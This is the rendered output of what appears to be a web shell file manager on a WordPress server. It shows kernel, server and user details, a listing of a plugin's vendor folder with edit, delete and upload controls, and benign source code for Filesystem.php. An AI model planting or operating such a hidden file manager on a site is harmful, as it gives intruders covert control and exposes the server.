[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
vendor
/
typisttech
/
imposter
/
src
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 Config.php
1,780 B
SET
[ EDIT ]
|
[ DEL ]
📄 ConfigFactory.php
659 B
SET
[ EDIT ]
|
[ DEL ]
📄 ConfigInterface.php
307 B
SET
[ EDIT ]
|
[ DEL ]
📄 Filesystem.php
1,929 B
SET
[ EDIT ]
|
[ DEL ]
📄 Imposter.php
2,941 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImposterFactory.php
823 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImposterInterface.php
704 B
SET
[ EDIT ]
|
[ DEL ]
📄 ProjectConfig.php
1,345 B
SET
[ EDIT ]
|
[ DEL ]
📄 StringUtil.php
511 B
SET
[ EDIT ]
|
[ DEL ]
📄 Transformer.php
4,171 B
SET
[ EDIT ]
|
[ DEL ]
📄 TransformerInterface.php
314 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Filesystem.php
<?php declare(strict_types=1); namespace TypistTech\Imposter; use FilesystemIterator; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; use RuntimeException; class Filesystem implements FilesystemInterface { /** * @param string $path * * @return \SplFileInfo[] * @throws \UnexpectedValueException */ public function allFiles(string $path): array { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS) ); return iterator_to_array($iterator); } /** * Extract the parent directory from a file path. * * @param string $path * * @return string */ public function dirname(string $path): string { return pathinfo($path, PATHINFO_DIRNAME); } /** * Get the contents of a file. * * @param string $path * * @return string * @throws \RuntimeException */ public function get(string $path): string { if (! $this->isFile($path)) { throw new RuntimeException('File does not exist at path ' . $path); } return file_get_contents($path); } /** * Determine if the given path is a file. * * @param string $path * * @return bool */ public function isFile(string $path): bool { return is_file($path); } /** * Determine if the given path is a directory. * * @param string $path * * @return bool */ public function isDir(string $path): bool { return is_dir($path); } /** * Write the contents of a file. * * @param string $path * @param string $contents * * @return int|false */ public function put(string $path, string $contents) { return file_put_contents($path, $contents); } }